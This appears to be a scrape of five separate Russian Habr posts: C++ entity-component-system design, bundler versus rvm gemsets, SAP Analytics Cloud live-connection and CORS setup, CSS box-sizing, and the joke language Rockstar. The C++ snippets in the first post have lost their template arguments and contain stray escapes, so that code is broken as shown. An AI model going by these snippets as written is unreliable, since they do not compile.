[«Game Programing Patterns»](http://gameprogrammingpatterns.com/). Вот [ссылка](http://gameprogrammingpatterns.com/component.html) на бесплатную веб-версию.
Дальше я попробую провести разбор модели, которая лежит в основе одной известной ECS библиотеки, широко используемой в реальных проектах.
Но для начала, давайте погрузимся в детали, которые помогут в дальнейшем её описании.
### Уникальные идентификаторы
Почти все возможные подходы к компонентно-ориентированному программированию требуют некоторый набор инструментов и методов. Интуитивно понятно, что они также представляют схожие в некоторой степени проблемы, которые решаются более или менее одинаково во всех случаях. Также очевидно, что единого верного решения не существует. Однако же для более простого понимания сути я постараюсь использовать одинаковые шаблоны в схожих местах всех моделей для того, чтобы вам было проще осознать разницу между различными подходами.
Самым распространённое требование – это наличие уникальных во время выполнения программы идентификаторов компонентов. Позже мы узнаем какие проблемы они решают.
Существует множество методов генерации уникальных идентификаторов. Некоторые из них хорошо подходят для использования с библиотеками, другие — нет. Как бы там ни было, всегда можно смешать два или более методов для достижения обоих случаев.
Подход в лоб заключается в том, чтобы давать компонентам имена, хешируя их, получая уникальные идентификаторы, которые можно использовать в хэш-таблицах. Обсуждение хеш-функций выходит за рамки этой статьи, но вы можете найти много информации в Интернете, если вам это интересно. Этот способ работает отлично с другими библиотеками, пусть даже хэш-таблицы не дают максимальную производительность. Но, к несчастью, идентификаторы не будут сгенерированы последовательно, из-за чего использовать их как индексы массивов не представляется возможным.
Распространённый подход решения озвученной проблемы – *family generator*. Это смесь шаблонов и статических элементов, занимающие несколько строчек кода. Свободное ПО, использующее эту технику: [entityx](https://github.com/alecthomas/entityx) and [EnTT](https://github.com/skypjack/entt).
Возможная реализация family generator.
```
class family {
static std::size_t identifier() noexcept {
static std::size_t value = 0;
return value++;
}
public:
template
static std::size\_t type() noexcept {
static const std::size\_t value = identifier();
return value;
}
};
```
Пример генерации уникального идентификатора для данного типа:
```
const auto id = family::type();
```
Минус этого метода заключается в использовании статических локальных переменных и методов. Поэтому он не очень хорошо работает на некоторых платформах. Но, с другой стороны, он довольно прост в использовании и понимании.
Время от времени family generator будет встречаться последующих обсуждениях. Если этот метод вызвал у вас некоторые затруднения, то найдите время, чтобы ещё раз окунуться в детали реализации, прежде чем продолжить читать данную статью.
### С начала: ассоциативные массивы и иерархии
Наиболее очевидная реализация компонентно-ориентированной модели включает в себя ассоциативные массивы (вроде того) и ООП объекты. Обычно такой подход – первая попытка разработки самодельной ECS, который, по моему мнению, находится между чистым ООП и полным компонентно-ориентированным подходом.
Проще говоря, объекты всё ещё существуют, но их типы в привычном нам виде каким-то образом замещаются наборами компонентов, содержащиеся в них.
Но как это работает на самом деле?
Банальный подход, который отлично справляется со своей задачей, предлагает превратить наш игровой объект в ассоциативный массив компонентов. Системы будут проходиться по всем игровым объектам и проверять, имеет ли текущий объект нужный набор компонентов, перед тем как начать работу. Здесь bitset может использоваться для ускорения фазы поиска.
Если вы предпочитаете не использовать ассоциативные массивы, то компоненты можно хранить в динамическом массиве, в векторе. Благодаря family generator уникальный идентификатор типа компонента представляет собой позицию в массиве, индекс. Благодаря этому мы не тратим время на поиск компонентов.
Изящный интерфейс, возможно — это самая важная для начала работы часть. Если вы поместите все ваши игровые объекты в вектор, система будет проходить по им всем и спрашивать у каждого объекта, имеет ли он необходимый компонент, прежде чем продолжить. Другими словами:
```
void my_nth_system(std::vector &objects) {
for(auto &&object: objects) {
if(object.has()) {
auto &pos = object.get();
auto &vel = object.get();
// ...
}
}
}
```
Плюсы этой реализации немногочисленны, но совершенно очевидны: её просто внедрить и поддерживать и её легко понять тем, кто приходит из ООП мира. Более того, она использует типичный список объектов, с которым мы знакомы из ООП.
И на этом всё. По сути, такая реализация может быть даже хуже с точки зрения производительности по сравнению с классическим ООП. Однако стоит принять то, что она даёт: переход к другим моделям, а не то, что можно использовать на практике.
Этот подход также обладает большим количеством минусов. Прежде всего, компоненты разбросаны по памяти и прежде, чем получить доступ ко всем компонентам одного типа, приходится делать несколько прыжков в ней. Однако самая большая проблема заключается в том, что вы никогда не знаете, какие игровые объекты обладают нужными компонентами, и, следовательно, вы должны проходиться по всем ним в каждой системе и проверять наличие нужных компонентов у объекта. Само собой разумеется, это всё совсем не приветствуется с точки зрения производительности. В реальности, такой подход может быстро ухудшить производительность для игр среднего размера, когда количество объектов растет.
Важная вещь, которую я не успел упомянуть – концепты ваших объектов больше не являются частью вашей кодовой базы. Вы заметили это? Больше не существует класса эльфа или сущности игрового персонажа. Теперь мы имеем простые игровые объекты, наполненные компонентами разных типов. Звучит интересно, не так ли? Несмотря на это, такое решение всё ещё находится на половине пути между ООП и полным компонентно-ориентированным подходом, мы уже можем оценить некоторые преимущества использования компонентов.
### На пути к решению без использования объектов: сущности — это индексы
Следующий шаг на пути к полной компонентной модели – избавиться от игровых объектов.
В предыдущем примере игровые объекты были не более чем контейнерами для компонентов. Наши игровые объекты были определены как класс с небольшим интерфейсом, который облегчал работу с его составляющими. Компоненты были расположены в ассоциативном или динамическом массиве и каждый игровой объект имел свой набор компонентов. Должно быть довольно легко избавиться от этих обёрток и немного изменить компоновку, чтобы компоненты одного типа хранились вместе. Это будет наш следующий шаг на пути.
Сперва, нам необходимо дать имя нашим игровым объектам, и мы-то знаем, что выбор имени — одна из самых простых задач в программировании :). Поскольку ранее мы помещали игровые объекты в вектор, мы могли бы использовать индекс объекта в качестве его имени. Теперь первый объект имеет наименование 0, второй – 1, и так далее. Давайте назовём объекты сущностями, и мы имеем, что первая группа компонентов назначена сущности 0, а вторая группа компонентов назначена сущности 1.
Заметили в этом шаблон? Если мы перевернём проблему с ног на голову, то укладывая наши компоненты в упакованные массивы, один массив на каждый тип компонента, то на позиции 0 в каждом массиве будут лежать компоненты для сущности 0, на позиции 1 каждого массива будут лежать компоненты для сущности 1, и так далее. В общем, если мы имеем N сущностей и M разделённых массивов компонентов, то мы можем использовать саму сущность в качестве индекса для доступа к её данным в разных массивах.
У нас больше нет игровых объектов. Вместо этого, мы имеем сущности в виде чисел и экземпляры компонентов, каждый из которых размещен в своем собственном массиве. Идентификаторы сущностей также являются индексами, используемыми для извлечения экземпляров компонентов. Это более-менее вся идея, лежащая в основе entityx, довольно известной библиотеки ECS в C++.
Обычно к сущностям в этой реализации добавляется bitset для проверки наличия компонентов у них. Это решение ускоряет поиск и действует как обходной путь для другой проблемы. Рассмотрим случай, когда компонент C назначен сущности N > 0. В это случае массив для компонентов C будет изменён так, чтобы вместить по крайней мере N компонентов. Однако мы никогда не назначали C для сущности 0, хотя экземпляр уже существует в памяти. Как мы определим валидность компонента? Bitsets – это общий ответ на этот вопрос.
Одним из плюсов этой модели является то, что итерации выполняются довольно быстро, даже ещё быстрее, если bitsets используются для ускорения поиска.
Но, к сожалению, у этого подхода есть и некоторые недостатки. Очевидно, что мы теряем много памяти, в случае, когда массивы разряжены, и, по-видимому, нет простого способа избежать этого. Этот случай влечёт за собой так же менее очевидный недостаток, а именно: большое количество кеш-пропусков из-за того, что мы извлекаем из памяти также дыры, которые соседствуют с действующими компонентами. Еще одним минусом является то, что мы до сих пор не знаем, какие сущности обладают какими компонентами, и поэтому нам приходится пробегаться через их всех в каждой системе, чтобы проверить, соответствуют ли сущности требованиям. Использование bitset может смягчить этот аспект, но это не устранит проблему полностью.
Что дальше?
-----------
Я надеюсь, что это краткое введение помогло вам начать путешествие из ООП к компонентному миру. То, что мы видели до сих пор, хорошо подходит для игр малого и среднего размера, но не подходит, когда число объектов и компонентов растет, а производительность действительно имеет значение.
В следующих главах серии я попытаюсь рассказать о других подходах, более ориентированные на производительность. В частности, модель, основанная на разреженных множествах, и другая, которая полагается на группирование вещей в максимально возможной степени.
Дайте мне знать, если вам это помогло
-------------------------------------
Я надеюсь, вам понравилось то, что вы прочитали.
Если вам понравился этот пост, и вы хотите поблагодарить его, то поставьте звезду этому GitHub проекту, на котором размещен этот блог. Это единственный способ сообщить мне, что вы цените мою работу.
Спасибо. | https://habr.com/ru/post/490500/ | null | ru | null |
# Используйте бандлер вместо практики rvm gemset per project
Наша команда долгое время использовала известную практику rvm [gemset per project](http://beginrescueend.com/rvm/best-practices/ "RVM Best Practices"). Однако, после работы с пакетным менеджером nodejs мы поняли, что гораздо удобнее складывать зависимости в папку проекта (дефолт для нодовского пакетного менеджера).
Немного покопавшись в документации бандлера я обнаружил, что тоже самое можно сделать и на его основе. Используя опцию «path» можно указать подпапку проекта, куда будут устанавливаться гемы (рекомендуется использовать vendor/bundle). Также не забудьте добавить ее в гитигнор.
`bundle install --path vendor/bundle
echo '/vendor/bundle' >> .gitignore`
Для запуска исполняемых файлов используйте команду «bundle exec»
`bundle exec rails server
bundle exec rake db:migrate
...`
В конечном счете rvm будет выполнять лишь функцию менеджера версий руби. Сам гем «bundler» лучше всего установить в глобальный гемсет.
Мой оригинальный пост на английском языке: [Stop using rvm gemset per project use bundler instead!](http://zakharov.posterous.com/stop-using-rvm-gemset-per-project) | https://habr.com/ru/post/120272/ | null | ru | null |
# Как построить гибридную аналитическую платформу на базе SAP Analytics Cloud и локальных систем компании
Аналитические системы продолжают активно развиваться. По оценкам Gartner, объем мирового рынка BI-платформ и аналитических приложений к концу этого года превысит $22,8 млрд. В последние несколько лет на первый план вышли так называемые инструменты самообслуживания, позволяющие бизнес-пользователям и аналитикам создать интерактивные информационные панели без привлечения IT-команд. При этом, компании начинают все больше смотреть на облачные аналитические инструменты, которые помогают в построении бимодальной архитектуры и добавляют гибкость ИТ-ландшафту компании.
Мы много писали [здесь](https://habr.com/ru/company/sap/blog/498334/) и [здесь](https://habr.com/ru/company/sap/blog/505998/) про наше решение SAP Analytics Cloud (SAC), которое предназначено для интерактивного и гибкого анализа данных. Сегодня же мы расскажем об еще одной возможности SAC, а именно о гибридной модели работы решения с локальными системами компании.
### Почему Live-режим важен?
При использовании облачных платформ возникает вопрос о безопасности работы и передачи данных в аналитическую систему. Технология Live-подключения позволяет создавать аналитические панели средствами SAP Analytics Cloud без передачи бизнес-данных в облако, что может гарантировать сохранность данных внутри корпоративного контура компании.
Как мы писали ранее, SAС объединяет в себе 3 ключевых функциональности для работы с данными: BI, планирование и продвинутая аналитика с применением методов машинного обучения. И конечно же удобно, что это SaaS BI инструмент, не требующий локального развертывания, позволяющий создавать дашборды и анализировать информацию без установки каких-либо программ на компьютер пользователя. Работа совершается в браузере, а обновления системы происходят автоматически.
SAP Analytics Cloud позволяет подключаться к источникам в двух разных форматах, как показано на рис.1:
1. В режиме импорта, когда данные загружаются в аналитическую систему и могут обновляться по расписанию. Здесь мы можем использовать полный набор возможностей системы в части визуализации и анализа данных, планирования и прогнозной аналитики.
2. В режиме Live, когда загрузки данных в облако не происходит, и мы видим на дашборде актуальные данные из исходной системы на момент открытия отчета. Это подключение позволяет использовать большинство функций BI и продвинутой аналитики системы. Важно, что этот набор функций регулярно пополняется.
*Рисунок 1. Доступные типы подключений*
В качестве источников данных для этого режима могут выступать:
* SAP HANA (облачная, либо локальная). В этом случае SAP Analytics Cloud выводит данные из Calculation Views
* SAP BW/4HANA и ряд версий SAP BW – BW / BEx Queries
* SAP S/4HANA – CDS Views
* SAP Universe – BO Universe, созданные при помощи Information Design Tool
* SAP BPC Embedded – BPC Query (в этом случае SAP Analytics Cloud может выступать не только как средство вывода данных, но также и как интерфейс ввода данных для целей планирования в BPC)
* SAP Data Warehouse Cloud – Analytics Views
Совместимые для работы Live-подключения версии систем приведены [здесь](https://help.sap.com/viewer/00f68c2e08b941f081002fd3691d86a7/release/ru-RU/11b4e5ff76eb4747bc255d7037be1f01.html#loio11b4e5ff76eb4747bc255d7037be1f01__p_connectlive).
### Как работает Live-подключение?
Live-подключение – прямое взаимодействие браузера и источника данных. Это хорошо видно из схемы на рис.2. Именно браузер является центральным компонентом для всех взаимодействий: он формирует запросы на получение данных из источника, а также метаданных из SAP Analytics Cloud через Javascript. Затем происходит объединение полученной информации в рамках отчета на странице браузера, где открыт веб-адрес тенанта SAP Analytics Cloud.
*Рисунок 2. Схема Live-подключения*
В основе работы такого подключения лежит механизм CORS (Cross-origin resource sharing), позволяющий запрашивать ограниченные ресурсы на веб-странице из другого домена за пределами домена, из которого был получен первый ресурс. То есть можно запрашивать данные из нескольких веб-ресурсов в рамках одной страницы браузера. При этом бизнес-данные не покидают корпоративную сеть и надёжно хранятся в существующем источнике. Браузер взаимодействует напрямую с SAP Analytics Cloud, Identity Provider (доверенный сервер авторизации) и всеми подключёнными источниками данных. Он работает с тремя типами соединений:
* Запросы Get / Post из браузера в SAP Analytics Cloud предназначены для метаданных.
* Запросы Get / Post от браузера к серверу авторизации предназначены для протокола SAML 2.
* Запросы Get / Post / Options из браузера в источники данных предназначены для бизнес-данных.
Если браузер осуществляет подключение из-за пределов защищенного домена клиента, поддерживаются стандартные механизмы безопасности (например, VPN).
SAP Analytics Cloud хранит метаданные, необходимые для формирования отчета.
Они полностью зашифрованы и передаются через https канал, а для отображения в отчётах обрабатываются в браузере с помощью javascript. При этом отдельные объекты хранят необходимую информацию для формирования запроса и построения данного отчёта.
### Что такое бизнес- и метаданные
Представьте, что у вас есть таблица, в которой присутствуют наименования полей, а также сами бизнес-данные.
Названия аналитик передаются в SAP Analytics Cloud для построения отчетов, а бизнес-данные из столбцов таблицы в SAP Analytics Cloud не передаются. Давайте разберем эту ситуацию на примере данных из этой таблицы.
Метаданными в данном примере будут “ID”, “Название продукта”, “Регион”, “Сумма”. А данными — Томаты, Самара, 200, картофель, Волгоград и 350.
### Настройка Live-подключения
Инструкции по настройке Live-подключения с использованием CORS для различных источников приведены в [help.sap.com](https://help.sap.com/viewer/00f68c2e08b941f081002fd3691d86a7/release/ru-RU/5b4dad4d97664c41ae63bf1153e5e91e.html) и доступны на русском языке, а также со скриншотами на официальном ресурсе [sapanalytics.cloud](https://www.sapanalytics.cloud/guided_playlists/connection-administration/), поэтому дублировать весь контент не имеет смысла.
Но для общего понимания давайте посмотрим, как это выглядит на примере подключения тенанта SAP Analytics Cloud к SAP BW/4HANA.
У подключения есть определенные требования, выделим ключевые из них, которые нам необходимы. Большинство из них связано с тем, что мы работаем через браузер (рекомендуемым является Google Chrome).
* Для корректной работы необходимо иметь подписанный SSL сертификат на стороне источника данных. Сертификат не может быть самоподписанным. Google Chrome при этом проверяет сертификаты источника данных, а также SAC. Они должны быть действительны.
При этом проверяется:
+ срок действия сертификата
+ кем выдан сертификат (адрес host)
+ в Subject и Subject Alternative Name нужно указать DNS (не IP)
+ наличие корневого сертификата (Trusted Root)
+ алгоритм криптографического хэширования (sha-1 является устаревшим и не подходит)
* В системе SAP NetWeaver настроен пакет InA (/sap/bw/ina) для базовой аутентификации.
Проверить это можно, открыв в браузере следующий URL-адрес: https:///sap/bw/ina/GetServerInfo?sap-client=.
При этом вместо нужно указать host вашей BW системы, — ID клиента (манданта).
Должно появиться окно ввода регистрационных данных, после входа вы получите ответ в виде JSON.
Поэтому же адресу можно проверить действительность SSL-сертификата.
* В коде транзакции SICF должны быть активны следующие сервисы доступа к информации (Ina / BW InA):
```
/sap/bw/ina/GetCatalog
/sap/bw/ina/GetResponse
/sap/bw/ina/GetServerInfo
/sap/bw/ina/ValueHelp
/sap/bw/ina/BatchProcessing
/sap/bw/ina/Logoff
```
* Настройка SameSite Cookies на стороне источника данных (рекомендуемый подход для продуктивного использования системы), либо на стороне браузера пользователя.
Это требуется, чтобы Google Chrome и другие браузеры разрешали межсайтовый доступ к файлам cookie вашего локального источника данных SAP из системы SAP Analytics Cloud. Нужно настроить свой локальный источник данных так, чтобы он создавал файлы cookie с определенными атрибутами. Без этих настроек при использовании соединения Live Data будут возникать ошибки и работа будет невозможна.
Настройка на стороне BW выполняется следующим образом:
В папке профилей ABAP-системы создайте файл rewrite.txt.
Добавьте в файл скрипт перезаписи для добавления атрибутов cookie в совместимые веб-браузеры:
```
SetHeader sap-ua-protocol ""
if %{HEADER:clientprotocol} stricmp http [OR]
if %{HEADER:x-forwarded-for-proto} stricmp http [OR]
if %{HEADER:forwarded} regimatch proto=http
begin
SetHeader sap-ua-protocol "http"
end
if %{HEADER:clientprotocol} stricmp https [OR]
if %{HEADER:x-forwarded-for-proto} stricmp https [OR]
if %{HEADER:forwarded} regimatch proto=https
begin
SetHeader sap-ua-protocol "https"
end
if %{HEADER:sap-ua-protocol} strcmp "" [AND]
if %{SERVER_PROTOCOL} stricmp https
begin
SetHeader sap-ua-protocol "https"
end
if %{RESPONSE_HEADER:set-cookie} !strcmp "" [AND]
if %{HEADER:sap-ua-protocol} stricmp https [AND]
if %{HEADER:user-agent} regmatch "^Mozilla" [AND]
if %{HEADER:user-agent} !regmatch "(Chrome|Chromium)/[1-6]?[0-9]\." [AND]
if %{HEADER:user-agent} !regmatch "(UCBrowser)/([0-9]|10|11|12)\." [AND]
if %{HEADER:user-agent} !regmatch "\(iP.+; CPU .*OS 12_.*\) AppleWebKit\/" [AND]
if %{HEADER:user-agent} !regmatch "\(Macintosh;.*Mac OS X 10_14.*(Version\/.* Safari.*|AppleWebKit\/[0-9\.]+.*\(KHTML, like Gecko\))$"
begin
RegIRewriteResponseHeader set-cookie "^([^=]+)(=.*)" "$1$2; SameSite=None; Secure"
RegIRewriteResponseHeader set-cookie "^([^=]+)(=.*; *SameSite=[a-zA-Z]+.*); SameSite=None; Secure" $1$2
RegIRewriteResponseHeader set-cookie "^([^=]+)(=.*; *Secure.*); Secure" $1$2
End
```
После этого сохраните файл и зайдите в SAP GUI под учетной записью системного администратора. Перейдите в транзакцию RZ10 и отредактируйте профиль DEFAULT ABAP-системы: активируйте HTTP-перезапись и укажите файл перезаписи. Для этого добавьте следующий параметр профиля: icm/HTTP/mod\_0 = PREFIX=/,FILE=$(DIR\_PROFILE)/rewrite.txt
Сохраните изменения и перезапустите ABAP-систему.
Убедившись, что все основные требования соблюдены, можем переходить к настройке CORS:
cначала необходимо установить значение параметра icf/cors\_enabled = 1 в транзакции RZ11 как на рис.3.
*Рисунок 3. Интерфейс транзакции RZ11*
После этого, добавим SAP Analytics Cloud в whitelist HTTP (транзакция UCONCOCKPIT).
Сначала установим статус Active Check для параметра Cross-Origin Resource Sharing (рис.4).
*Рис. 4. Установка статуса Active Check для Cross-Origin resource sharing*
Теперь нам нужно указать Origin Host – адрес тенанта SAP Analytics Cloud, с которым настраиваем подключение. Для этого переходим в режим редактирования и нажимаем To Whitelist.
*Рис. 5. Указание Origin Host*
И вводим значения.
В поле «Правило хоста» добавляем адрес тенанта SAP Analytics Cloud.
Также нужно указать разрешенные методы (Get, Head, Post, Options) и разрешенные заголовки:
X-CSRF-TOKEN,X-SAP-CID,AUTHORIZATION,MYSAPSSO2,X-REQUEST-WITH,SAP-REWRITEURL,SAP-URL-SESSION-ID,CONTENT-TYPE,ACCEPT-LANGUAGE
И видимые заголовки:
X-CSRF-TOKEN,SAP-REWRITEURL,SAP-URL-SESSION-ID,SAP-PERF-FESREC,SAP-SYSTEM.
Остальные параметры установите, как показано на экране ниже (рис.6).
*Рисунок 6. Окно ввода данных для подключения*
Теперь добавим соединение на стороне тенанта SAP Analytics Cloud. Откроем его в браузере.
В меню выбираем «Соединения», далее нажимаем на «+» для создания нового и выбираем SAP BW в разделе «Установить соединение с Live Data». Далее выбираем тип соединения – прямое, вводим имя своего хоста SAP BW, порт HTTPS и клиент, а также указываем логин и пароль для проверки соединения (рис. 7).
*Рисунок 7. Настройка на стороне в SAP Analytics Cloud*
После этого мы приступаем к созданию моделей данных на базе Live-подключения и переходим к созданию журналов.
В конце можем выполнять визуализацию данных из BW Queries, как на рис.8:
*Рисунок 8. Вид отчета в SAP Analytics Cloud*
Отдельно стоит сказать несколько слов про управление доступами и ролями пользователей при работе в режиме Live-подключения. Используя этот режим, мы опираемся на авторизации, заданные в системе-источнике. Например, когда мы подключаемся к BEx запросу на базе созданного соединения, система проверяет наше право на доступ и данные, которые этот запрос возвращает. В случае недостатка прав мы не сможем продолжить работу. Для этого в системе-источнике данных должен быть заведен пользователь, соответствующий пользователю SAP Analytics Cloud. Их мэппинг может выполняться при вводе логина-пароля при подключении к бэкенд-системе из SAP Analytics Cloud, либо при помощи SAML Single Sign-On. Этот способ, конечно же, является рекомендованным для продуктивного применения решения. Инструмент ведения пользователей может быть интегрирован с Windows ADFS.
Сегодня мы поговорили о том, какие особенности имеет режим Live-подключения SAP Analytics Cloud, а также как осуществляется его настройка. Теперь мы можем избежать дублирование настроек безопасности и копирование бизнес-данных в облако.
SAC также позволяет существующим клиентам SAP BusinessObjects настраивать подключение к созданным в компании юниверсам и, таким образом, сохранять инвестиции и не менять используемую архитектуру для модуля self-service аналитики в компании. В планах развития продукта при работе в Live-режиме: связывание нескольких источников Live между собой (например, BW с HANA), добавление вычисляемых измерений и некоторых типов расчетных показателей, улучшение производительности, а также добавление интеллектуальных функций. Для ознакомления с возможностями продукта доступен 90-дневный [триал](https://www.sapanalytics.cloud/try-for-free/) решения.
*Автор — Евгений Горбунов, архитектор бизнес-решений SAP CIS* | https://habr.com/ru/post/516664/ | null | ru | null |
# CSS3: свойство Box-Sizing
Раньше, если мы делали div шириной и высотой 100px, добавляли padding 10px и border 10px, то получался квадрат не 100х100, а 140х140 px:
Но иногда требуется, чтобы div был фиксированной ширины при любых значениях padding и border. В CSS3 нам поможет свойство box-sizing.
### Использование box-sizing
У этого свойства есть два значения:
* **content-box** — по умолчанию, контент внутри div'а будет отображаться по-старому, т.е. как в примере выше: вместо 100х100 будет 140х140
* **border-box** позволяет значения padding и border вычитать из ширины и длины блока, т.е. в нашем примере div останется с фиксированными параметрами, но для контента останется 60х60 px
```
div {
width: 100px;
height: 100px;
padding: 10px;
border: 10px solid #eaeaea;
box-sizing: border-box;
-moz-box-sizing: border-box; /*Firefox 1-3*/
-webkit-box-sizing: border-box; /* Safari */
}
```
### Поддержка браузерами
Свойство box-sizing поддерживает большинство современных браузеров: Firefox 3.6+, Safari 3+, Opera 8.5+ и Internet Explorer 8+. Актуальные данные можно посмотреть на сайте [caniuse.com](http://caniuse.com/#feat=css3-boxsizing).
### Практический пример
Рассмотрим реальный пример использования свойства box-sizing. Есть меню из пяти пунктов:
```
* [Menu 1](#)
* [Menu 2](#)
* [Menu 3](#)
* [Menu 4](#)
* [Menu 5](#)
```
Добавим немного CSS, в т.ч. фиксированную ширину меню в 500 px и ширину каждого элемента в 100 px:
```
nav {
width: 500px;
margin: 50px auto 0;
height: 50px;
}
nav ul {
padding: 0;
margin: 0;
}
nav li {
float: left;
}
nav a {
display: inline-block;
width: 100px;
height: 100%;
background-color: #ccc;
color: #555;
text-decoration: none;
font-family: Arial, sans-serif;
font-size: 12pt;
line-height: 300%;
text-align: center;
}
nav a {
display: inline-block;
width: 100px;
height: 100%;
color: #555;
text-decoration: none;
font-family: Arial, sans-serif;
}
nav li:nth-child(1) a {
background-color: #E9E9E9;
border-left: 0;
}
nav li:nth-child(2) a {
background-color: #E4E4E4;
}
nav li:nth-child(3) a {
background-color: #DFDFDF;
}
nav li:nth-child(4) a {
background-color: #D9D9D9;
}
nav li:nth-child(5) a {
background-color: #D4D4D4;
border-right: 0;
}
```
Меню выглядит нормально:
Но при добавлении левого или правого border'а последний пункт меню съезжает, потому что не помещается:
```
nav a {
border-left: 1px solid #aaa;
border-right: 1px solid #f3f3f3;
}
```
Но если использовать box-sizing, то этой проблемы нет:
```
nav a {
border-left: 1px solid #aaa;
border-right: 1px solid #f3f3f3;
box-sizing: border-box;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
}
```
[демо](http://media02.hongkiat.com/css3-box-sizing/demo/index2.html)
### Полезное чтиво по теме
— [Box-sizing: border-box — FTW](http://paulirish.com/2012/box-sizing-border-box-ftw/) — Paul Irish
— [Make better Web pages by understanding the CSS box model](http://www.techrepublic.com/article/make-better-web-pages-by-understanding-the-css-box-model/6105783) — Tech Republic | https://habr.com/ru/post/149441/ | null | ru | null |
# Язык программирования Rockstar: когда код выглядит как текст рок-хита
Словосочетание «rockstar developer» заставляет некоторых морщиться: «вот же глупый рекрутерский баззворд, среди самих разработчиков никто так себя не называет». В России оно встречается не так часто, а вот в англоговорящих странах многим уже надоело. И особенно остро ощущает его засилье британский .NET-разработчик **Дилан Битти**: он фанат рок-музыки, поэтому хорошо видит, насколько это «rockstar» далеко от настоящих rockstars.
В итоге Дилан затеял язык программирования Rockstar, код на котором должен быть похож на рок/метал-тексты. Во-первых, если получится сделать такой проект заметным, то можно отнять у рекрутеров слова «rockstar developer», дав им новое значение. А во-вторых, интересно же попробовать скомпилировать тексты любимых песен! Ну и делать наклейки на ноутбук «certified rockstar developer» тоже весело.
Конечно, всё это звучит как шутка, и изначально ей и было, но теперь становится всё реальнее. Подробности — под катом.
Началось всё с того, что разработчики стали иронично обыгрывать понятие «rockstar developer», вспоминая о настоящих рок-звёздах. Вы можете помнить эту картинку:
И подобные шуточки со временем дошли до такого твита:
> To really confuse recruiters, someone should make a programming language called Rockstar.
>
> — Paul Stovell (@paulstovell) [July 3, 2018](https://twitter.com/paulstovell/status/1013960369465782273?ref_src=twsrc%5Etfw)
Вряд ли автор этого твита предполагал, что кто-либо когда-либо действительно возьмётся делать подобное. Тут нужен человек, который одновременно очень любит и программирование, и рок-музыку, и юмор, причём готов ради одной удачной шутки проделывать большую работу.
Но Дилан Битти именно такой и есть. Он давно делает программистские пародии на рок-хиты — то есть как раз соединяет программирование, рок-музыку и юмор, затрачивая на это порядочно времени. Можете послушать, например, его версию «Another Brick in the Wall» Pink Floyd, которая на вечеринках IT-конференций заходит на ура:
Дилан вспомнил о уже существующих эзотерических языках, где не ставили цель «стать популярнее C++», а ставили цель «давайте реализуем интересную идею, просто потому что можем». Среди них есть такие, которые привносили в код лексику и стилистику из какой-то другой области: например, язык [Shakespeare](https://en.wikipedia.org/wiki/Shakespeare_Programming_Language), стилизующий программы под шекспировские пьесы, и Lingua::Romana::Perligata, позиционирующийся как «Perl на латыни». Да, в продакшн на них никто не пишет, но сам факт их существования делает наш мир немного красочнее.
С такими мыслями он решил создать язык, где FizzBuzz может выглядеть так:
```
Midnight takes your heart and your soul
While your heart is as high as your soul
Put your heart without your soul into your heart
Give back your heart
Desire is a lovestruck ladykiller
My world is nothing
Fire is ice
Hate is water
Until my world is Desire,
Build my world up
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
Shout "FizzBuzz!"
Take it to the top
If Midnight taking my world, Fire is nothing
Shout "Fizz!"
Take it to the top
If Midnight taking my world, Hate is nothing
Say "Buzz!"
Take it to the top
Whisper my world
```
В августе Дилан завёл [репозиторий](https://github.com/dylanbeattie/rockstar) на GitHub и написал о своей идее [в Twitter](https://twitter.com/dylanbeattie/status/1020769511086219264), не ожидая никакой особенной реакции — и внезапно всё взорвалось ретвитами и гитхаб-звёздами. Круги разошлись вплоть до того, что у него взял [интервью](https://www.loudersound.com/features/meet-the-boffin-behind-a-computer-programming-language-based-on-power-ballads) журнал Classic Rock.
В этом интервью Дилан заметил, что затевать подобный проект — это «как пытаться объехать Канаду на моноцикле: такое делают не для решения реальной задачи, а чтобы посмотреть, чего получится достичь, загнав самого себя в необычные рамки».
А ещё заметил, что при всей шумихе будущее проекта под вопросом: интернет очень быстро переключается на новые шутки, так что назавтра Rockstar может оказаться забыт, не успев оказаться реализованным.
Однако, хотя первая волна интереса действительно схлынула, проект не выглядит заброшенным. И уже сейчас он выглядит куда проработаннее, чем простая шутка на один день. Когда читаешь [спецификацию](https://github.com/dylanbeattie/rockstar#the-rockstar-language-specification), она впечатляет в двух отношениях. Во-первых, по ней видно, что там действительно задумывались «как должен выглядеть такой язык», а не просто набросали что-то за пять минут и забыли. А во-вторых, она местами очень забавная:
«Использование комментариев не поощряется. Это рок-н-ролл, аудитория должна сама находить в тексте смысл!»
«Система типов похожа на ECMAScript, только *undefined* звучит недостаточно рок-н-ролльно, так что мы решили использовать слово *mysterious*».
«Поскольку Rockstar объединяет программирование, английский язык и рок-н-ролл, с апострофами всё сложно. В программировании их используют для строковых значений — 'вроде этого'. В английском для сокращённых форм — you're, he's. А в рок-н-ролле, похоже, используют вообще рандомно: sweet child o' mine, ain't talkin' 'bout love, guns n' roses».
Мы решили уточнить некоторые подробности у самого Дилана:
**— Эта затея на первый взгляд выглядит «шуткой на один коммит», за которым не последует второго. Но сейчас коммитов в проекте уже 132 — правильно понимаем, что он жив?**
— Да! Начался он как шутка — первый черновик спецификации языка я написал, сидя в баре за ноутбуком. Выложил на GitHub, опубликовал ссылки в Twitter… и получил больше тысячи звёзд на GitHub. А затем люди занялись реализациями. Кто-то создал транспайлер Rockstar-JavaScript, кто-то другой — подсветку синтаксиса для Sublime Text и VS Code. Люди создавали пулл-реквесты, открывали issue, делали собственные имплементации — это было потрясающе.
Теперь есть целая маленькая команда, занимающаяся референсной реализацией Rockstar; есть группа в Discord, где мы обсуждаем дизайн языка. Это всё ещё шуточный язык — но это шуточный язык с набором интеграционных тестов и рекурсивным нисходящим парсером, а в ноябре мы планируем релиз 1.0.
**— А этот язык предназначен строго для рок-фанатов? Любителям поп-музыки или хип-хопа тут ловить нечего?**
— Даже не знаю! Изначальная идея была в том, чтобы рекрутеры не могли больше говорить о «rockstar developers»… есть ли такая вещь, как хип-хоп-разработчик? Но язык спроектирован так, чтобы соответствовать текстам песен в целом, там нет каких-то вещей, строго требующих использовать именно рок-лексику. Я уверен, что можно написать такой хип-хоп-текст, который будет валидной программой.
**— А хотите ли как-то совмещать Rockstar с пародиями, которыми вы известны?**
— Написать такую пародию на рок-песню, которая одновременно с этим будет ещё и валидной Rockstar-программой? Звучит интересно… возможно, попробую после того, как мы финализируем спецификацию 1.0 :)
